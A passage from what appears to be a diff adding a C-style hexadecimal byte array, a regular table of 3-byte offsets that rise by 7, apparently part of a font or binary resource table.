0x10, 0x00, + 0x00, 0x50, 0x17, 0x00, 0x00, 0x50, 0x1E, 0x00, + 0x00, 0x50, 0x25, 0x00, 0x00, 0x50, 0x2C, 0x00, + 0x00, 0x50, 0x33, 0x00, 0x00, 0x50, 0x3A, 0x00, + 0x00, 0x50, 0x41, 0x00, 0x00, 0x50, 0x48, 0x00, + 0x00, 0x50, 0x4F, 0x00, 0x00, 0x50, 0x56, 0x00, + 0x00, 0x50, 0x5D, 0x00, 0x00, 0x50, 0x64, 0x00, + 0x00, 0x50, 0x6B, 0x00, 0x00, 0x50, 0x72, 0x00, + 0x00, 0x50, 0x79, 0x00, 0x00, 0x50, 0x80, 0x00, + 0x00, 0x50, 0x87, 0x00, 0x00, 0x50, 0x8E, 0x00, + 0x00, 0x50, 0x95, 0x00, 0x00, 0x50, 0x9C, 0x00, + 0x00, 0x50, 0xA3, 0x00, 0x00, 0x50, 0xAA, 0x00, + 0x00, 0x50, 0xB1, 0x00, 0x00, 0x50, 0xB8, 0x00, + 0x00, 0x50, 0xBF, 0x00, 0x00, 0x50, 0xC6, 0x00, + 0x00, 0x50, 0xCD, 0x00, 0x00, 0x50, 0xD4, 0x00, + 0x00, 0x50, 0xDB, 0x00, 0x00, 0x50, 0xE2, 0x00, + 0x00, 0x50, 0xE9, 0x00, 0x00, 0x50, 0xF0, 0x00, + 0x00, 0x50, 0xF7, 0x00, 0x00, 0x50, 0xFE, 0x00, + 0x00, 0x51, 0x05, 0x00, 0x00, 0x51, 0x0C, 0x00, + 0x00, 0x51, 0x13, 0x00, 0x00, 0x51, 0x1A, 0x00, + 0x00, 0x51, 0x21, 0x00, 0x00, 0x51, 0x28, 0x00, + 0x00, 0x51, 0x2F, 0x00, 0x00, 0x51, 0x36, 0x00, + 0x00, 0x51, 0x3D, 0x00, 0x00, 0x51, 0x44, 0x00, + 0x00, 0x51, 0x4B, 0x00, 0x00, 0x51, 0x52, 0x00, + 0x00, 0x51, 0x59, 0x00, 0x00, 0x51, 0x60, 0x00, + 0x00, 0x51, 0x67, 0x00, 0x00, 0x51, 0x6E, 0x00, + 0x00, 0x51, 0x75, 0x00, 0x00, 0x51, 0x7C, 0x00, + 0x00, 0x51, 0x83, 0x00, 0x00, 0x51, 0x8A, 0x00, + 0x00, 0x51, 0x91, 0x00, 0x00, 0x51, 0x98, 0x00, + 0x00, 0x51, 0x9F, 0x00, 0x00, 0x51, 0xA6, 0x00, + 0x00, 0x51, 0xAD, 0x00, 0x00, 0x51, 0xB4, 0x00, + 0x00, 0x51, 0xBB, 0x00, 0x00, 0x51, 0xC2, 0x00, + 0x00, 0x51, 0xC9, 0x00, 0x00, 0x51, 0xD0, 0x00, + 0x00, 0x51, 0xD7, 0x00, 0x00, 0x51, 0xDE, 0x00, + 0x00, 0x51, 0xE5, 0x00, 0x00, 0x51, 0xEC, 0x00, + 0x00, 0x51, 0xF3, 0x00, 0x00, 0x51, 0xFA, 0x00, + 0x00, 0x52, 0x01, 0x00, 0x00, 0x52, 0x08, 0x00, + 0x00, 0x52, 0x0F, 0x00, 0x00, 0x52, 0x16, 0x00, + 0x00, 0x52, 0x1D, 0x00, 0x00, 0x52, 0x24, 0x00, + 0x00, 0x52, 0x2B, 0x00, 0x00, 0x52, 0x32, 0x00, + 0x00, 0x52, 0x39, 0x00, 0x00, 0x52, 0x40, 0x00, + 0x00, 0x52, 0x47, 0x00, 0x00, 0x52, 0x4E, 0x00, + 0x00, 0x52, 0x55, 0x00, 0x00, 0x52, 0x5C, 0x00, + 0x00, 0x52, 0x63, 0x00, 0x00, 0x52, 0x6A, 0x00, + 0x00, 0x52, 0x71, 0x00, 0x00, 0x52, 0x78, 0x00, + 0x00, 0x52, 0x7F, 0x00, 0x00, 0x52, 0x86, 0x00, + 0x00, 0x52, 0x8D, 0x00, 0x00, 0x52, 0x94, 0x00, + 0x00, 0x52, 0x9B, 0x00, 0x00, 0x52, 0xA2, 0x00, + 0x00, 0x52, 0xA9, 0x00, 0x00, 0x52, 0xB0, 0x00, + 0x00, 0x52, 0xB7, 0x00, 0x00, 0x52, 0xBE, 0x00, + 0x00, 0x52, 0xC5, 0x00, 0x00, 0x52, 0xCC, 0x00, + 0x00, 0x52, 0xD3, 0x00, 0x00, 0x52, 0xDA, 0x00, + 0x00, 0x52, 0xE1, 0x00, 0x00, 0x52, 0xE8, 0x00, + 0x00, 0x52, 0xEF, 0x00, 0x00, 0x52, 0xF6, 0x00, + 0x00, 0x52, 0xFD, 0x00, 0x00, 0x53, 0x04, 0x00, + 0x00, 0x53, 0x0B, 0x00, 0x00, 0x53, 0x12, 0x00, + 0x00, 0x53, 0x19, 0x00, 0x00, 0x53, 0x20, 0x00, + 0x00, 0x53, 0x27, 0x00, 0x00, 0x53, 0x2E, 0x00, + 0x00, 0x53, 0x35, 0x00, 0x00, 0x53, 0x3C, 0x00, + 0x00, 0x53, 0x43, 0x00, 0x00, 0x53, 0x4A, 0x00, + 0x00, 0x53, 0x51, 0x00, 0x00, 0x53, 0x58, 0x00, + 0x00, 0x53, 0x5F, 0x00, 0x00, 0x53, 0x66, 0x00, + 0x00, 0x53, 0x6D, 0x00, 0x00, 0x53, 0x74, 0x00, + 0x00, 0x53, 0x7B, 0x00, 0x00, 0x53, 0x82, 0x00, + 0x00, 0x53, 0x89, 0x00, 0x00, 0x53, 0x90, 0x00, + 0x00, 0x53, 0x97, 0x00, 0x00, 0x53, 0x9E, 0x00, + 0x00, 0x53, 0xA5, 0x00, 0x00, 0x53, 0xAC, 0x00, + 0x00, 0x53, 0xB3, 0x00, 0x00, 0x53, 0xBA, 0x00, + 0x00, 0x53, 0xC1, 0x00, 0x00, 0x53, 0xC8, 0x00, + 0x00, 0x53, 0xCF, 0x00, 0x00, 0x53, 0xD6, 0x00, + 0x00, 0x53, 0xDD, 0x00, 0x00, 0x53, 0xE4, 0x00, + 0x00, 0x53, 0xEB, 0x00, 0x00, 0x53, 0xF2, 0x00, + 0x00, 0x53, 0xF9, 0x00, 0x00, 0x54, 0x00, 0x00, + 0x00, 0x54, 0x07, 0x00, 0x00, 0x54, 0x0E, 0x00, + 0x00, 0x54, 0x15, 0x00, 0x00, 0x54, 0x1C, 0x00, + 0x00, 0x54, 0x23, 0x00, 0x00, 0x54, 0x2A, 0x00, + 0x00, 0x54, 0x31, 0x00, 0x00, 0x54, 0x38, 0x00, + 0x00, 0x54, 0x3F, 0x00, 0x00, 0x54, 0x46, 0x00, + 0x00, 0x54, 0x4D, 0x00, 0x00, 0x54, 0x54, 0x00, + 0x00, 0x54, 0x5B, 0x00, 0x00, 0x54, 0x62, 0x00, + 0x00, 0x54, 0x69, 0x00, 0x00, 0x54, 0x70, 0x00, + 0x00, 0x54, 0x77, 0x00, 0x00, 0x54, 0x7E, 0x00, + 0x00, 0x54, 0x85, 0x00, 0x00, 0x54, 0x8C, 0x00, + 0x00, 0x54, 0x93, 0x00, 0x00, 0x54, 0x9A, 0x00, + 0x00, 0x54, 0xA1, 0x00, 0x00, 0x54, 0xA8, 0x00, + 0x00, 0x54, 0xAF, 0x00, 0x00, 0x54, 0xB6, 0x00, + 0x00, 0x54, 0xBD, 0x00, 0x00, 0x54, 0xC4, 0x00, + 0x00, 0x54, 0xCB, 0x00, 0x00, 0x54, 0xD2, 0x00, + 0x00, 0x54, 0xD9, 0x00, 0x00, 0x54, 0xE0, 0x00, + 0x00, 0x54, 0xE7, 0x00, 0x00, 0x54, 0xEE, 0x00, + 0x00, 0x54, 0xF5, 0x00, 0x00, 0x54, 0xFC, 0x00, + 0x00, 0x55, 0x03, 0x00, 0x00, 0x55, 0x0A, 0x00, + 0x00, 0x55, 0x11, 0x00, 0x00, 0x55, 0x18, 0x00, + 0x00, 0x55, 0x1F, 0x00, 0x00, 0x55, 0x26, 0x00, + 0x00, 0x55, 0x2D, 0x00, 0x00, 0x55, 0x34, 0x00, + 0x00, 0x55, 0x3B, 0x00, 0x00, 0x55, 0x42, 0x00, + 0x00, 0x55, 0x49, 0x00, 0x00, 0x55, 0x50, 0x00, + 0x00, 0x55, 0x57, 0x00, 0x00, 0x55, 0x5E, 0x00, + 0x00, 0x55, 0x65, 0x00, 0x00, 0x55, 0x6C, 0x00, + 0x00, 0x55, 0x73, 0x00, 0x00, 0x55, 0x7A, 0x00, + 0x00, 0x55, 0x81, 0x00, 0x00, 0x55, 0x88, 0x00, + 0x00, 0x55, 0x8F, 0x00, 0x00, 0x55, 0x96, 0x00, + 0x00, 0x55, 0x9D, 0x00, 0x00, 0x55, 0xA4, 0x00, + 0x00, 0x55, 0xAB, 0x00, 0x00, 0x55, 0xB2, 0x00, + 0x00, 0x55, 0xB9, 0x00, 0x00, 0x55, 0xC0, 0x00, + 0x00, 0x55, 0xC7, 0x00, 0x00, 0x55, 0xCE, 0x00, + 0x00, 0x55, 0xD5, 0x00, 0x00, 0x55, 0xDC, 0x00, + 0x00, 0x55, 0xE3, 0x00, 0x00, 0x55, 0xEA, 0x00, + 0x00, 0x55, 0xF1, 0x00, 0x00, 0x55, 0xF8, 0x00, + 0x00, 0x55, 0xFF, 0x00, 0x00, 0x56, 0x06, 0x00, + 0x00, 0x56, 0x0D, 0x00, 0x00, 0x56, 0x14, 0x00, + 0x00, 0x56, 0x1B, 0x00, 0x00, 0x56, 0x22, 0x00, + 0x00, 0x56, 0x29, 0x00, 0x00, 0x56, 0x30, 0x00, + 0x00, 0x56, 0x37, 0x00, 0x00, 0x56, 0x3E, 0x00, + 0x00, 0x56, 0x45, 0x00, 0x00, 0x56, 0x4C, 0x00, + 0x00, 0x56, 0x53, 0x00, 0x00, 0x56, 0x5A, 0x00, + 0x00, 0x56, 0x61, 0x00, 0x00, 0x56, 0x68, 0x00, + 0x00, 0x56, 0x6F, 0x00, 0x00, 0x56, 0x76, 0x00, + 0x00, 0x56, 0x7D, 0x00, 0x00, 0x56, 0x84, 0x00, + 0x00, 0x56, 0x8B, 0x00, 0x00, 0x56, 0x92, 0x00, + 0x00, 0x56, 0x99, 0x00, 0x00, 0x56, 0xA0, 0x00, + 0x00, 0x56, 0xA7, 0x00, 0x00, 0x56, 0xAE, 0x00, + 0x00, 0x56, 0xB5, 0x00, 0x00, 0x56, 0xBC, 0x00, + 0x00, 0x56, 0xC3, 0x00, 0x00, 0x56, 0xCA, 0x00, + 0x00, 0x56, 0xD1, 0x00, 0x00, 0x56, 0xD8, 0x00, + 0x00, 0x56, 0xDF, 0x00, 0x00, 0x56, 0xE6, 0x00, + 0x00, 0x56, 0xED, 0x00, 0x00, 0x56, 0xF4, 0x00, + 0x00, 0x56, 0xFB, 0x00, 0x00, 0x57, 0x02, 0x00, + 0x00, 0x57, 0x09, 0x00, 0x00, 0x57, 0x10, 0x00, + 0x00, 0x57, 0x17, 0x00, 0x00, 0x57, 0x1E, 0x00, + 0x00, 0x57, 0x25, 0x00, 0x00, 0x57, 0x2C, 0x00, + 0x00, 0x57, 0x33, 0x00, 0x00, 0x57, 0x3A, 0x00, + 0x00, 0x57, 0x41, 0x00, 0x00, 0x57, 0x48, 0x00, + 0x00, 0x57, 0x4F, 0x00, 0x00, 0x57, 0x56, 0x00, + 0x00, 0x57, 0x5D, 0x00, 0x00, 0x57, 0x64, 0x00, + 0x00, 0x57, 0x6B, 0x00, 0x00, 0x57, 0x72, 0x00, + 0x00, 0x57, 0x79, 0x00, 0x00, 0x57, 0x80, 0x00, + 0x00, 0x57, 0x87, 0x00, 0x00, 0x57, 0x8E, 0x00, + 0x00, 0x57, 0x95, 0x00, 0x00, 0x57, 0x9C, 0x00, + 0x00, 0x57, 0xA3, 0x00, 0x00, 0x57, 0xAA, 0x00, + 0x00, 0x57, 0xB1, 0x00, 0x00, 0x57, 0xB8, 0x00, + 0x00, 0x57, 0xBF, 0x00, 0x00, 0x57, 0xC6, 0x00, + 0x00, 0x57, 0xCD, 0x00, 0x00, 0x57, 0xD4, 0x00, + 0x00, 0x57, 0xDB, 0x00, 0x00, 0x57, 0xE2, 0x00, + 0x00, 0x57, 0xE9, 0x00, 0x00, 0x57, 0xF0, 0x00, + 0x00, 0x57, 0xF7, 0x00, 0x00, 0x57, 0xFE, 0x00, + 0x00, 0x58, 0x05, 0x00, 0x00, 0x58, 0x0C, 0x00, + 0x00, 0x58, 0x13, 0x00, 0x00, 0x58, 0x1A, 0x00, + 0x00, 0x58, 0x21, 0x00, 0x00, 0x58, 0x28, 0x00, + 0x00, 0x58, 0x2F, 0x00, 0x00, 0x58, 0x36, 0x00, + 0x00, 0x58, 0x3D, 0x00, 0x00, 0x58, 0x44, 0x00, + 0x00, 0x58, 0x4B, 0x00, 0x00, 0x58, 0x52, 0x00, + 0x00, 0x58, 0x59, 0x00, 0x00, 0x58, 0x60, 0x00, + 0x00, 0x58, 0x67, 0x00, 0x00, 0x58, 0x6E, 0x00, + 0x00, 0x58, 0x75, 0x00, 0x00, 0x58, 0x7C, 0x00, + 0x00, 0x58, 0x83, 0x00, 0x00, 0x58, 0x8A, 0x00, + 0x00, 0x58, 0x91, 0x00, 0x00, 0x58, 0x98, 0x00, + 0x00, 0x58, 0x9F, 0x00, 0x00, 0x58, 0xA6, 0x00, + 0x00, 0x58, 0xAD, 0x00, 0x00, 0x58, 0xB4, 0x00, + 0x00, 0x58, 0xBB, 0x00, 0x00, 0x58, 0xC2, 0x00, + 0x00, 0x58, 0xC9, 0x00, 0x00, 0x58, 0xD0, 0x00, + 0x00, 0x58, 0xD7, 0x00, 0x00, 0x58, 0xDE, 0x00, + 0x00, 0x58, 0xE5, 0x00, 0x00, 0x58, 0xEC, 0x00, + 0x00, 0x58, 0xF3, 0x00, 0x00, 0x58, 0xFA, 0x00, + 0x00, 0x59, 0x01, 0x00, 0x00, 0x59, 0x08, 0x00, + 0x00, 0x59, 0x0F, 0x00, 0x00, 0x59, 0x16, 0x00, + 0x00, 0x59, 0x1D, 0x00, 0x00, 0x59, 0x24, 0x00, + 0x00, 0x59, 0x2B, 0x00, 0x00, 0x59, 0x32, 0x00, + 0x00, 0x59, 0x39, 0x00, 0x00, 0x59, 0x40, 0x00, + 0x00, 0x59, 0x47, 0x00, 0x00, 0x59, 0x4E, 0x00, + 0x00, 0x59, 0x55, 0x00, 0x00, 0x59, 0x5C, 0x00, + 0x00, 0x59, 0x63, 0x00, 0x00, 0x59, 0x6A, 0x00, + 0x00, 0x59, 0x71, 0x00, 0x00, 0x59, 0x78, 0x00, + 0x00, 0x59, 0x7F, 0x00, 0x00, 0x59, 0x86, 0x00, + 0x00, 0x59, 0x8D, 0x00, 0x00, 0x59, 0x94, 0x00, + 0x00, 0x59, 0x9B, 0x00, 0x00, 0x59, 0xA2, 0x00, + 0x00, 0x59, 0xA9, 0x00, 0x00, 0x59, 0xB0, 0x00, + 0x00, 0x59, 0xB7, 0x00, 0x00, 0x59, 0xBE, 0x00, + 0x00, 0x59, 0xC5, 0x00, 0x00, 0x59, 0xCC, 0x00, + 0x00, 0x59, 0xD3, 0x00, 0x00, 0x59, 0xDA, 0x00, + 0x00, 0x59, 0xE1, 0x00, 0x00, 0x59, 0xE8, 0x00, + 0x00, 0x59, 0xEF, 0x00, 0x00, 0x59, 0xF6, 0x00, + 0x00, 0x59, 0xFD, 0x00, 0x00, 0x5A, 0x04, 0x00, + 0x00, 0x5A, 0x0B, 0x00, 0x00, 0x5A, 0x12, 0x00, + 0x00, 0x5A, 0x19, 0x00, 0x00, 0x5A, 0x20, 0x00, + 0x00, 0x5A, 0x27, 0x00, 0x00, 0x5A, 0x2E, 0x00, + 0x00, 0x5A, 0x35, 0x00, 0x00, 0x5A, 0x3C, 0x00, + 0x00, 0x5A, 0x43, 0x00, 0x00, 0x5A, 0x4A, 0x00, + 0x00, 0x5A, 0x51, 0x00, 0x00, 0x5A, 0x58, 0x00, + 0x00, 0x5A, 0x5F, 0x00, 0x00, 0x5A, 0x66, 0x00, + 0x00, 0x5A, 0x6D, 0x00, 0x00, 0x5A, 0x74, 0x00, + 0x00, 0x5A, 0x7B, 0x00, 0x00, 0x5A, 0x82, 0x00, + 0x00, 0x5A, 0x89, 0x00, 0x00, 0x5A, 0x90, 0x00, + 0x00, 0x5A, 0x97, 0x00, 0x00, 0x5A, 0x9E, 0x00, + 0x00, 0x5A, 0xA5, 0x00, 0x00, 0x5A, 0xAC, 0x00, + 0x00, 0x5A, 0xB3, 0x00, 0x00, 0x5A, 0xBA, 0x00, + 0x00, 0x5A, 0xC1, 0x00, 0x00, 0x5A, 0xC8, 0x00, + 0x00, 0x5A, 0xCF, 0x00, 0x00, 0x5A, 0xD6, 0x00, + 0x00, 0x5A, 0xDD, 0x00, 0x00, 0x5A, 0xE4, 0x00, + 0x00, 0x5A, 0xEB, 0x00, 0x00, 0x5A, 0xF2, 0x00, + 0x00, 0x5A, 0xF9, 0x00, 0x00, 0x5B, 0x00, 0x00, + 0x00, 0x5B, 0x07, 0x00, 0x00, 0x5B, 0x0E, 0x00, + 0x00, 0x5B, 0x15, 0x00, 0x00, 0x5B, 0x1C, 0x00, + 0x00, 0x5B, 0x23, 0x00, 0x00, 0x5B, 0x2A, 0x00, + 0x00, 0x5B, 0x31, 0x00, 0x00, 0x5B, 0x38, 0x00, + 0x00, 0x5B, 0x3F, 0x00, 0x00, 0x5B, 0x46, 0x00, + 0x00, 0x5B, 0x4D, 0x00, 0x00, 0x5B, 0x54, 0x00, + 0x00, 0x5B, 0x5B, 0x00, 0x00, 0x5B, 0x62, 0x00, + 0x00, 0x5B, 0x69, 0x00, 0x00, 0x5B, 0x70, 0x00, + 0x00, 0x5B, 0x77, 0x00, 0x00, 0x5B, 0x7E, 0x00, + 0x00, 0x5B, 0x85, 0x00, 0x00, 0x5B, 0x8C, 0x00, + 0x00, 0x5B, 0x93, 0x00, 0x00, 0x5B, 0x9A, 0x00, + 0x00, 0x5B, 0xA1, 0x00, 0x00, 0x5B, 0xA8, 0x00, + 0x00, 0x5B, 0xAF, 0x00, 0x00, 0x5B, 0xB6, 0x00, + 0x00, 0x5B, 0xBD, 0x00, 0x00, 0x5B, 0xC4, 0x00, + 0x00, 0x5B, 0xCB, 0x00, 0x00, 0x5B, 0xD2, 0x00, + 0x00, 0x5B, 0xD9, 0x00, 0x00, 0x5B, 0xE0, 0x00, + 0x00, 0x5B, 0xE7, 0x00, 0x00, 0x5B, 0xEE, 0x00, + 0x00, 0x5B, 0xF5, 0x00, 0x00, 0x5B, 0xFC, 0x00, + 0x00, 0x5C, 0x03, 0x00, 0x00, 0x5C, 0x0A, 0x00, + 0x00, 0x5C, 0x11, 0x00, 0x00, 0x5C, 0x18, 0x00, + 0x00, 0x5C, 0x1F, 0x00, 0x00, 0x5C, 0x26, 0x00, + 0x00, 0x5C, 0x2D, 0x00, 0x00, 0x5C, 0x34, 0x00, + 0x00, 0x5C, 0x3B, 0x00, 0x00, 0x5C, 0x42, 0x00, + 0x00, 0x5C, 0x49, 0x00, 0x00, 0x5C, 0x50, 0x00, + 0x00, 0x5C, 0x57, 0x00, 0x00, 0x5C, 0x5E, 0x00, + 0x00, 0x5C, 0x65, 0x00, 0x00, 0x5C, 0x6C, 0x00, + 0x00, 0x5C, 0x73, 0x00, 0x00, 0x5C, 0x7A, 0x00, + 0x00, 0x5C, 0x81, 0x00, 0x00, 0x5C, 0x88, 0x00, + 0x00, 0x5C, 0x8F, 0x00, 0x00, 0x5C, 0x96, 0x00, + 0x00, 0x5C, 0x9D, 0x00, 0x00, 0x5C, 0xA4, 0x00, + 0x00, 0x5C, 0xAB, 0x00, 0x00, 0x5C, 0xB2, 0x00, + 0x00, 0x5C, 0xB9, 0x00, 0x00, 0x5C, 0xC0, 0x00, + 0x00, 0x5C, 0xC7, 0x00, 0x00, 0x5C, 0xCE, 0x00, + 0x00, 0x5C, 0xD5, 0x00, 0x00, 0x5C, 0xDC, 0x00, + 0x00, 0x5C, 0xE3, 0x00, 0x00, 0x5C, 0xEA, 0x00, + 0x00, 0x5C, 0xF1, 0x00, 0x00, 0x5C, 0xF8, 0x00, + 0x00, 0x5C, 0xFF, 0x00, 0x00, 0x5D, 0x06, 0x00, + 0x00, 0x5D, 0x0D, 0x00, 0x00, 0x5D, 0x14, 0x00, + 0x00, 0x5D, 0x1B, 0x00, 0x00, 0x5D, 0x22, 0x00, + 0x00, 0x5D, 0x29, 0x00, 0x00, 0x5D, 0x30, 0x00, + 0x00, 0x5D, 0x37, 0x00, 0x00, 0x5D, 0x3E, 0x00, + 0x00, 0x5D, 0x45, 0x00, 0x00, 0x5D, 0x4C, 0x00, + 0x00, 0x5D, 0x53, 0x00, 0x00, 0x5D, 0x5A, 0x00, + 0x00, 0x5D, 0x61, 0x00, 0x00, 0x5D, 0x68, 0x00, + 0x00, 0x5D, 0x6F, 0x00, 0x00, 0x5D, 0x76, 0x00, + 0x00, 0x5D, 0x7D, 0x00, 0x00, 0x5D, 0x84, 0x00, + 0x00, 0x5D, 0x8B, 0x00, 0x00, 0x5D, 0x92, 0x00, + 0x00, 0x5D, 0x99, 0x00, 0x00, 0x5D, 0xA0, 0x00, + 0x00, 0x5D, 0xA7, 0x00, 0x00, 0x5D, 0xAE, 0x00, + 0x00, 0x5D, 0xB5, 0x00, 0x00, 0x5D, 0xBC, 0x00, + 0x00, 0x5D, 0xC3, 0x00, 0x00, 0x5D, 0xCA, 0x00, + 0x00, 0x5D, 0xD1, 0x00, 0x00, 0x5D, 0xD8, 0x00, + 0x00, 0x5D, 0xDF, 0x00, 0x00, 0x5D, 0xE6, 0x00, + 0x00, 0x5D, 0xED, 0x00, 0x00, 0x5D, 0xF4, 0x00, + 0x00, 0x5D, 0xFB, 0x00, 0x00, 0x5E, 0x02, 0x00, + 0x00, 0x5E, 0x09, 0x00, 0x00, 0x5E, 0x10, 0x00, + 0x00, 0x5E, 0x17, 0x00, 0x00, 0x5E, 0x1E, 0x00, + 0x00, 0x5E, 0x25, 0x00, 0x00, 0x5E, 0x2C, 0x00, + 0x00, 0x5E, 0x33, 0x00, 0x00, 0x5E, 0x3A, 0x00, + 0x00, 0x5E, 0x41, 0x00, 0x00, 0x5E, 0x48, 0x00, + 0x00, 0x5E, 0x4F, 0x00, 0x00, 0x5E, 0x56, 0x00, + 0x00, 0x5E, 0x5D, 0x00, 0x00, 0x5E, 0x64, 0x00, + 0x00, 0x5E, 0x6B, 0x00, 0x00, 0x5E, 0x72, 0x00, + 0x00, 0x5E, 0x79, 0x00, 0x00, 0x5E, 0x80, 0x00, + 0x00, 0x5E, 0x87, 0x00, 0x00, 0x5E, 0x8E, 0x00, + 0x00, 0x5E, 0x95, 0x00, 0x00, 0x5E, 0x9C, 0x00, + 0x00, 0x5E, 0xA3, 0x00, 0x00, 0x5E, 0xAA, 0x00, + 0x00, 0x5E, 0xB1, 0x00, 0x00, 0x5E, 0xB8, 0x00, + 0x00, 0x5E, 0xBF, 0x00, 0x00, 0x5E, 0xC6, 0x00, + 0x00, 0x5E, 0xCD, 0x00, 0x00, 0x5E, 0xD4, 0x00, + 0x00, 0x5E, 0xDB, 0x00, 0x00, 0x5E, 0xE2, 0x00, + 0x00, 0x5E, 0xE9, 0x00, 0x00, 0x5E, 0xF0, 0x00, + 0x00, 0x5E, 0xF7, 0x00, 0x00, 0x5E, 0xFE, 0x00, + 0x00, 0x5F, 0x05, 0x00, 0x00, 0x5F, 0x0C, 0x00, + 0x00, 0x5F, 0x13, 0x00, 0x00, 0x5F, 0x1A, 0x00, + 0x00, 0x5F, 0x21, 0x00, 0x00, 0x5F, 0x28, 0x00, + 0x00, 0x5F, 0x2F, 0x00, 0x00, 0x5F, 0x36, 0x00, + 0x00, 0x5F, 0x3D, 0x00, 0x00, 0x5F, 0x44, 0x00, + 0x00, 0x5F, 0x4B, 0x00, 0x00, 0x5F, 0x52, 0x00, + 0x00, 0x5F, 0x59, 0x00, 0x00, 0x5F, 0x60, 0x00, + 0x00, 0x5F, 0x67, 0x00, 0x00, 0x5F, 0x6E, 0x00, + 0x00, 0x5F, 0x75, 0x00, 0x00, 0x5F, 0x7C, 0x00, + 0x00, 0x5F, 0x83, 0x00, 0x00, 0x5F, 0x8A, 0x00, + 0x00, 0x5F, 0x91, 0x00, 0x00, 0x5F, 0x98, 0x00, + 0x00, 0x5F, 0x9F, 0x00, 0x00, 0x5F, 0xA6, 0x00, + 0x00, 0x5F, 0xAD, 0x00, 0x00, 0x5F, 0xB4, 0x00, + 0x00, 0x5F, 0xBB, 0x00, 0x00, 0x5F, 0xC2, 0x00, + 0x00, 0x5F, 0xC9, 0x00, 0x00, 0x5F, 0xD0, 0x00, + 0x00, 0x5F, 0xD7, 0x00, 0x00, 0x5F, 0xDE, 0x00, + 0x00, 0x5F, 0xE5, 0x00, 0x00, 0x5F, 0xEC, 0x00, + 0x00, 0x5F, 0xF3, 0x00, 0x00, 0x5F, 0xFA, 0x00, + 0x00, 0x60, 0x01, 0x00, 0x00, 0x60, 0x08, 0x00, + 0x00, 0x60, 0x0F, 0x00, 0x00, 0x60, 0x16, 0x00, + 0x00, 0x60, 0x1D, 0x00, 0x00, 0x60, 0x24, 0x00, + 0x00, 0x60, 0x2B, 0x00, 0x00, 0x60, 0x32, 0x00, + 0x00, 0x60, 0x39, 0x00, 0x00, 0x60, 0x40, 0x00, + 0x00, 0x60, 0x47, 0x00, 0x00, 0x60, 0x4E, 0x00, + 0x00, 0x60, 0x55, 0x00, 0x00, 0x60, 0x5C, 0x00, + 0x00, 0x60, 0x63, 0x00, 0x00, 0x60, 0x6A, 0x00, + 0x00, 0x60, 0x71, 0x00, 0x00, 0x60, 0x78, 0x00, + 0x00, 0x60, 0x7F, 0x00, 0x00, 0x60, 0x86, 0x00, + 0x00, 0x60, 0x8D, 0x00, 0x00, 0x60, 0x94, 0x00, + 0x00, 0x60, 0x9B, 0x00, 0x00, 0x60, 0xA2, 0x00, + 0x00, 0x60, 0xA9, 0x00, 0x00, 0x60, 0xB0, 0x00, + 0x00, 0x60, 0xB7, 0x00, 0x00, 0x60, 0xBE, 0x00, + 0x00, 0x60, 0xC5, 0x00, 0x00, 0x60, 0xCC, 0x00, + 0x00, 0x60, 0xD3, 0x00, 0x00, 0x60, 0xDA, 0x00, + 0x00, 0x60, 0xE1, 0x00, 0x00, 0x60, 0xE8, 0x00, + 0x00, 0x60, 0xEF, 0x00, 0x00, 0x60, 0xF6, 0x00, + 0x00, 0x60, 0xFD, 0x00, 0x00, 0x61, 0x04, 0x00, + 0x00, 0x61, 0x0B, 0x00, 0x00, 0x61, 0x12, 0x00, + 0x00, 0x61, 0x19, 0x00, 0x00, 0x61, 0x20, 0x00, + 0x00, 0x61, 0x27, 0x00, 0x00, 0x61, 0x2E, 0x00, + 0x00, 0x61, 0x35, 0x00, 0x00, 0x61, 0x3C, 0x00, + 0x00, 0x61, 0x43, 0x00, 0x00, 0x61, 0x4A, 0x00, + 0x00, 0x61, 0x51, 0x00, 0x00, 0x61, 0x58, 0x00, + 0x00, 0x61, 0x5F, 0x00, 0x00, 0x61, 0x66, 0x00, + 0x00, 0x61, 0x6D, 0x00, 0x00, 0x61, 0x74, 0x00, + 0x00, 0x61, 0x7B, 0x00, 0x00, 0x61, 0x82, 0x00, + 0x00, 0x61, 0x89, 0x00, 0x00, 0x61, 0x90, 0x00, + 0x00, 0x61, 0x97, 0x00, 0x00, 0x61, 0x9E, 0x00, + 0x00, 0x61, 0xA5, 0x00, 0x00, 0x61, 0xAC, 0x00, + 0x00, 0x61, 0xB3, 0x00, 0x00, 0x61, 0xBA, 0x00, + 0x00, 0x61, 0xC1, 0x00, 0x00, 0x61, 0xC8, 0x00, + 0x00, 0x61, 0xCF, 0x00, 0x00, 0x61, 0xD6, 0x00, + 0x00, 0x61, 0xDD, 0x00, 0x00, 0x61, 0xE4, 0x00, + 0x00, 0x61, 0xEB, 0x00, 0x00, 0x61, 0xF2, 0x00, + 0x00, 0x61, 0xF9, 0x00, 0x00, 0x62, 0x00, 0x00, + 0x00, 0x62, 0x07, 0x00, 0x00, 0x62, 0x0E, 0x00, + 0x00, 0x62, 0x15, 0x00, 0x00, 0x62, 0x1C, 0x00, + 0x00, 0x62, 0x23, 0x00, 0x00, 0x62, 0x2A, 0x00, + 0x00, 0x62, 0x31, 0x00, 0x00, 0x62, 0x38, 0x00, + 0x00, 0x62, 0x3F, 0x00, 0x00, 0x62, 0x46, 0x00, + 0x00, 0x62, 0x4D, 0x00, 0x00, 0x62, 0x54, 0x00, + 0x00, 0x62, 0x5B, 0x00, 0x00, 0x62, 0x62, 0x00, + 0x00, 0x62, 0x69, 0x00, 0x00, 0x62, 0x70, 0x00, + 0x00, 0x62, 0x77, 0x00, 0x00, 0x62, 0x7E, 0x00, + 0x00, 0x62, 0x85, 0x00, 0x00, 0x62, 0x8C, 0x00, + 0x00, 0x62, 0x93, 0x00, 0x00, 0x62, 0x9A, 0x00, + 0x00, 0x62, 0xA1, 0x00, 0x00, 0x62, 0xA8, 0x00, + 0x00, 0x62, 0xAF, 0x00, 0x00, 0x62, 0xB6, 0x00, + 0x00, 0x62, 0xBD, 0x00, 0x00, 0x62, 0xC4, 0x00, + 0x00, 0x62, 0xCB, 0x00, 0x00, 0x62, 0xD2, 0x00, + 0x00, 0x62, 0xD9, 0x00, 0x00, 0x62, 0xE0, 0x00, + 0x00, 0x62, 0xE7, 0x00, 0x00, 0x62, 0xEE, 0x00, + 0x00, 0x62, 0xF5, 0x00, 0x00, 0x62, 0xFC, 0x00, + 0x00, 0x63, 0x03, 0x00, 0x00, 0x63, 0x0A, 0x00, + 0x00, 0x63, 0x11, 0x00, 0x00, 0x63, 0x18, 0x00, + 0x00, 0x63, 0x1F, 0x00, 0x00, 0x63, 0x26, 0x00, + 0x00, 0x63, 0x2D, 0x00, 0x00, 0x63, 0x34, 